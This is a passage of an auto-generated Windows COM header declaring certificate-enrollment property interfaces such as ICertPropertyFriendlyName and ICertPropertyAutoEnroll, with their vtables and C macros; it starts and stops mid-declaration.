ICertProperties_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertProperties_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICertProperties_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICertProperties_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICertProperties_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICertProperties_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICertProperties_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICertProperties_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertProperties_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyFriendlyName_INTERFACE_DEFINED__\n#define __ICertPropertyFriendlyName_INTERFACE_DEFINED__\n\n/* interface ICertPropertyFriendlyName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyFriendlyName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab330-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyFriendlyName : public ICertProperty\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strFriendlyName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyFriendlyNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyFriendlyName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyFriendlyName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyFriendlyName * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [in] */ __RPC__in BSTR strFriendlyName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in ICertPropertyFriendlyName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyFriendlyNameVtbl;\n\n    interface ICertPropertyFriendlyName\n    {\n        CONST_VTBL struct ICertPropertyFriendlyNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyFriendlyName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyFriendlyName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyFriendlyName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyFriendlyName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyFriendlyName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyFriendlyName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyFriendlyName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyFriendlyName_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyFriendlyName_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyFriendlyName_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyFriendlyName_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyFriendlyName_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyFriendlyName_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyFriendlyName_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyFriendlyName_Initialize(This,strFriendlyName)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strFriendlyName) ) \n\n#define ICertPropertyFriendlyName_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyFriendlyName_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyDescription_INTERFACE_DEFINED__\n#define __ICertPropertyDescription_INTERFACE_DEFINED__\n\n/* interface ICertPropertyDescription */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyDescription;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab331-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyDescription : public ICertProperty\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strDescription) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Description( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyDescriptionVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyDescription * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyDescription * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyDescription * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [in] */ __RPC__in BSTR strDescription);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Description )( \n            __RPC__in ICertPropertyDescription * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyDescriptionVtbl;\n\n    interface ICertPropertyDescription\n    {\n        CONST_VTBL struct ICertPropertyDescriptionVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyDescription_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyDescription_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyDescription_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyDescription_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyDescription_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyDescription_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyDescription_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyDescription_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyDescription_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyDescription_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyDescription_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyDescription_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyDescription_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyDescription_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyDescription_Initialize(This,strDescription)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strDescription) ) \n\n#define ICertPropertyDescription_get_Description(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Description(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyDescription_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyAutoEnroll_INTERFACE_DEFINED__\n#define __ICertPropertyAutoEnroll_INTERFACE_DEFINED__\n\n/* interface ICertPropertyAutoEnroll */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyAutoEnroll;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab332-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyAutoEnroll : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_TemplateName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyAutoEnrollVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyAutoEnroll * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyAutoEnroll * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyAutoEnroll * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateName )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyAutoEnrollVtbl;\n\n    interface ICertPropertyAutoEnroll\n    {\n        CONST_VTBL struct ICertPropertyAutoEnrollVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyAutoEnroll_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyAutoEnroll_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyAutoEnroll_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyAutoEnroll_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyAutoEnroll_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyAutoEnroll_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyAutoEnroll_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyAutoEnroll_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyAutoEnroll_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyAutoEnroll_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyAutoEnroll_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyAutoEnroll_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyAutoEnroll_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyAutoEnroll_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyAutoEnroll_Initialize(This,strTemplateName)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strTemplateName) ) \n\n#define ICertPropertyAutoEnroll_get_TemplateName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyAutoEnroll_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyRequestOriginator_INTERFACE_DEFINED__\n#define __ICertPropertyRequestOriginator_INTERFACE_DEFINED__\n\n/* interface ICertPropertyRequestOriginator */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyRequestOriginator;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab333-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyRequestOriginator : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strRequestOriginator) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromLocalRequestOriginator( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestOriginator( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyRequestOriginatorVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyRequestOriginator * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyRequestOriginator * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyRequestOriginator * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* 